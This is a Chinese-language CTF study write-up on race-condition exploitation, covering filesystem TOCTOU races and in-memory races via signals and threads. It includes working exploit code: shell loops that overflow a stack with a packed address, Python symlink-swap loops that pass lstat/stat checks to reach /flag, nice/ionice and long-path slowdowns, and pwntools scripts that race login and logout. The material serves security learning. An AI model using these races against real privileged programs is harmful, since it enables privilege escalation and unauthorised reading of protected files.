PS:看思路只要看第0章即可,第1、2章会做题时实际思考,然而做题的方法并不能证明有效,说不定就是单纯地运气好
话又说回来,感觉race condition真的是有一点玄学在的,感觉就纯靠经验,无法验证思路是否在所有场景下都可行
0. 写在前面
0.1 race condition利用的核心思路
上图可以精确反映出race condition
的核心利用思路:在正确的时间点做正确的事情,即合拍
注意,利用race condition并不是越快越好,下图的例子告诉我们,即使程序足够快,也容易导致利用不成功!
但是有人会说,你还不够快,我们需要更快!如下图所示:
可以看到,即使速度更快,在Value Check
阶段如果没能将值设为true,在Value Use
阶段没有将值设为false,再快都没用。
0.2 可能会帮助race condition成功的办法
为什么说是可能会帮助呢?主要原因是如下方法都不能百分百提高成功率,总之还是要让你试一下
0.2.1 sleep a bit
如下图所示:
利用代码如果在开头睡眠一小会,有可能会成功。
0.2.2 多进程:每个进程执行各自的部分
这种方法实际会导致状态的改变:
注意: python thread并不是parallel的,所以利用race condition最好还是用fork
0.3 c、bash、python的执行速度
直接说结论:
只运行一次程序时,C > bash > python
1、C 速度最快,直接调用系统调用
2、bash次之,因为要创建进程执行命令
3、python最慢,因为需要解释语言,并翻译可执行代码
运行多次程序(比如1000次),c > python > bash
1、C 还是最快
2、python只需要解释一次,之后就可以很快运行
3、bash每执行一次就需要创建一个进程,反而拖慢了速度
0.4 理想的python race condition利用代码编写方式
有题目可以练练手:
题目附件
1. races in filesystem
1.1 通用解
通常情况下,想要利用race condition通常都要开启两个terminal,然后运行如下命令:
terminal A:
while true; do echo a> 1;echo -n $(printf 'a%.0s' {1..260}) >1; done
# 若想通过race condition触发栈溢出,可以使用下面的写法:事实证明echo -ne比printf快且好使!
# while true; do echo a>1;echo -ne "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xd6\x12@\x00\x00\x00\x00\x00" > 1; done
terminal B:
for i in $(seq 1 2000); do /path/to/your/target 1; done | tee output
sort output | uniq -c
通常都能利用成功
1.2 多进程运行
虽然通常情况下race condition只要开启两个terminal就可以了,但是实际上我们可以开启多个terminal:
terminal A:
while true;do for i in $(seq 1 2000);do /path/to/your/target aa/etc/1;done | grep flag; done
terminal B:
while true;do for i in $(seq 1 2000);do /path/to/your/target aa/etc/1;done | grep flag; done
terminal C:
while true;do for i in $(seq 1 2000);do /path/to/your/target aa/etc/1;done | grep flag; done
terminal D:
while true;do for i in $(seq 1 2000);do /path/to/your/target aa/etc/1;done | grep flag; done
terminal E:
while true; do xxx ; done
1.3 降低目标执行速度
注意,正如上面提到的,这种方法并不总是有效
1.3.1 nice
nice
命令和nice system call
允许用户设置进程在linux kernel
调度器中的优先级。
linux kernel scheduler
的优先级从高到低 为-20~19,优先级越高的进程,能够获得cpu资源的比例就越高
ionice
的用法和nice
差不多,只不过它设置的是进程的io调度优先级,优先级从高到低是0~7,
这种方法的思路就是通过降低进程在系统中被执行的优先级,从而提高空窗期
用法如下:
1. 启动一个terminal, 运行 while /bin/true; do cp -v catflag asdf; done
2. 再启动一个terminal,运行 for i in $(seq 1 2000); do nice -n 19 ./fs2 asdf; done | tee output
运行sort output | uniq -c
可以看到,概率还是命中次数差不多提升了一倍。
ionice也有差不多的效果
for i in $(seq 1 2000); do ionice -n 7 ./fs2 asdf; done | tee output
sort output | uniq -c
两者结合,使用效果更佳:
for i in $(seq 1 2000); do nice -n 19 ionice -n 7 ./fs2 asdf; done | tee output
sort output | uniq -c
1.3.2 Path Complexity
filesystem race
涉及到文件系统访问,但是 不是所有的文件系统访问都是想等的
cat my_file 比
cat a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/x/y/z/my_file
快得多!
因为内核需要花时间进入这些目录!
这给了我们一个灵感:即可以传超级长路径来降低程序访问文件的速度,从而提高空窗期(需要注意,linux的路径限制最长为4096字节)
另外,我们还可以通过符号链接来延长路径
for i in $(seq 1 2000); do ./fs2 a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/s/y/z/link/asdf ; done | tee output
sort output | uniq -c
随着路径变长,成功的概率还能提高!
这种race condition
也导致了TOCTOU(Time of check to Time of use)问题
1.4 复杂场景下races in filesystem的利用
1.4.1 符号链接race
1、判断文件/目录 是否是符号链接(lstat 不解析符号链接),不是符号链接,进入下一步
2、检查文件/目录所在的上级目录(stat)是否被root持有,被root持有,进入下一步
3、检查文件/目录所在的上级目录(stat)是否被root group持有,被root group持有,进入下一步
4、检查其他用户能否写该上级目录,如果不能,进入下一步
lstat和stat的区别在于,lstat遇到符号链接会解析其本身,而stat会解析到符号链接指向的文件!
race思路:
-------------创建文件/home/wsxk/a/1,是正常文件
1、判断文件/目录 是否是符号链接(lstat 不解析符号链接),不是符号链接,进入下一步
-------------改变文件/home/wsxk/a的文件类型,使其为符号链接,指向/etc
2、检查文件/目录所在的上级目录(stat)是否被root持有,被root持有,进入下一步
3、检查文件/目录所在的上级目录(stat)是否被root group持有,被root group持有,进入下一步
4、检查其他用户能否写该上级目录,如果不能,进入下一步
-------------改变文件/home/wsxk/a的文件类型,为正常目录;改变/home/wsxk/a/1的文件类型为符号链接,指向/flag
如果race的check条件有很多条,我们只需要单独满足那些条件中每一个即可,即如果有4个check,我们只需要改变4次状态,每次我们只考虑满足一个约束
实际编写脚本时,是这样写的:
while true; do rm -rf aa &&mkdir -p aa && echo "1" > aa/1;rm -rf aa && ln -s /etc aa;rm aa && mkdir -p aa && ln -s /flag aa/1; done
但是用shell脚本执行太慢了,用python会更快一点:
import os
import shutil
import time
while True:
# Step 1: rm -rf aa && mkdir -p aa && touch aa/1
shutil.rmtree('aa') # 递归删除目录 aa
os.makedirs('aa', exist_ok=True) # 创建目录 aa
with open('aa/1', 'w') as f: # 创建文件 aa/1
f.write('') # 空文件,可以写入内容
# Step 2: rm -rf aa && ln -s /etc aa
shutil.rmtree('aa') # 递归删除目录 aa
os.symlink('/etc', 'aa') # 创建符号链接 aa -> /etc
# Step 3: rm aa && mkdir -p aa && ln -s /flag aa/1
os.remove('aa') # 删除符号连接 aa
os.makedirs('aa', exist_ok=True) # 创建目录 aa
os.symlink('/flag', 'aa/1') # 创建符号链接 aa/1 -> /flag
1.4.2 变种
1、判断文件/目录 是否是符号链接(lstat 不解析符号链接),不是符号链接,进入下一步
2、检查文件/目录所在的上级目录(lstat)是否被root持有,被root持有,进入下一步
3、检查文件/目录所在的上级目录(lstat)是否被root group持有,被root group持有,进入下一步
4、检查其他用户能否写该上级目录,如果不能,进入下一步
首先需要明白,在linux中,stat和lstat都是查询文件的状态(目录是特殊的文件),虽然lstat解析符号文件本身,但是在处理路径中,是会处理符号链接的,比如lstat(“aa/bb/cc/dd”),其中cc是符号链接,指向”/”,实际上会执行的是lstat(“/dd”)
根据这个特性,思路就很清晰了:
-------------创建文件/home/wsxk/a/etc/1,是正常文件
1、判断文件/目录 是否是符号链接(lstat 不解析符号链接),不是符号链接,进入下一步
-------------改变文件/home/wsxk/a的文件类型,使其为符号链接,指向/
2、检查文件/目录所在的上级目录(lstat)是否被root持有,被root持有,进入下一步
3、检查文件/目录所在的上级目录(lstat)是否被root group持有,被root group持有,进入下一步
4、检查其他用户能否写该上级目录,如果不能,进入下一步
-------------改变文件/home/wsxk/a的文件类型,为正常目录;改变/home/wsxk/a/etc/1的文件类型为符号链接,指向/flag
脚本如下:
import os
import shutil
import time
while True:
# Step 1: rm -rf aa && mkdir -p aa/etc && touch aa/etc/1
shutil.rmtree('aa')
os.makedirs('aa/etc', exist_ok=True)
with open('aa/etc/1', 'w') as f:
f.write('')
# Step 2: rm -rf aa && ln -s / aa
shutil.rmtree('aa')
os.symlink('/', 'aa')
# Step 3: rm aa && mkdir -p aa/etc && ln -s /flag aa/etc/1
os.remove('aa')
os.makedirs('aa/etc', exist_ok=True)
os.symlink('/flag', 'aa/etc/1')
这里需要配合多进程来提高成功概率
2. races in memory
2.1 利用signals
races in memory
成功利用通常需要依靠signals
来辅助利用
举例来说,有一个程序注册了一个signal handler
这是一个时间到了就退出的处理函数
而用户也可以手动退出
这就导致了一个问题:如果在privilege_level校验通过且还没执行到–privilege_level时,触发signal handler,那么privilege_level会被设置为0,–privilege_level会导致整数溢出,使privilege_level变成一个超大值
理想很丰满,现实很骨感,我们虽然理论上知道了方法,但是实际上,我们应该如何实操,来达成攻击呢?
发送signal还是遵循多进程的思路,但是用pwntools创建一个进程后,调用fork容易导致接口损坏,这里建议是开2个terminal,一个跑程序,一个跑信号发送程序
# 发送信号
from time import *
import random
import os
pid = 731719
while True:
os.kill(pid,14)
sleep_time = random.randint(0,10000)/1000000
print(sleep_time)
sleep(sleep_time)
# 创建进程测试
from pwn import *
from time import *
from os import fork
import signal
import time
context.log_level = 'debug'
p = process("./babyrace_level7.1")
pause()
for _ in range(10000):
p.sendline(b"login")
p.sendline(b"logout")
p.sendline(b"win_authed")
out = p.recv()
if b"flag" in out:
print(out)
break
2.2 利用多线程
当一个程序允许多线程访问时,可以通过多线程竞争同一个全局变量而导致条件竞争!
# 同时开启2个terminal,运行该脚本
from pwn import *
import random
p = remote('127.0.0.1',1337)
pause()
while True:
sleep_time = random.randint(0,10000)/1000000
print(sleep_time)
sleep(sleep_time)
p.sendline(b"login")
p.sendline(b"logout")
p.sendline(b"win_authed")
out = p.recv()
if b"flag" in out:
print(out)
break
p.interactive()